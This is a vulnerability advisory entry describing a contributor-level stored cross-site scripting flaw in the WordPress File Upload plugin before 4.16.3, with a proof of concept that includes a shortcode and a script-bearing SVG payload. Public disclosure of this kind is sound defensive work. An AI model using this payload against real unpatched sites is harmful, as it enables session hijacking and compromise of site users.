WordPress Plugin Vulnerabilities
WordPress File Upload < 4.16.3 - Contributor+ Stored Cross-Site Scripting via Malicious SVG
Description
The plugin allows users with a role as low as Contributor to configure the upload form in a way that allows uploading of SVG files, which could be then be used for Cross-Site Scripting attacks
Proof of Concept
1. As a contributor (or above) add the following shortcode to a post: [wordpress_file_upload uploadpatterns="*.svg"] 2. Preview/view the post and upload the following xss.svg file <svg xmlns:svg="http://www.w3.org/2000/svg"><svg:script>alert(/XSS/)</svg:script></svg> 3. Go to /wp-content/uploads/xss.svg to trigger the XSS
Affects Plugins
Fixed in 4.16.3
Fixed in 4.16.3 References
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-02-14 (about 2 years ago)
Added
2022-02-14 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)
WPScan 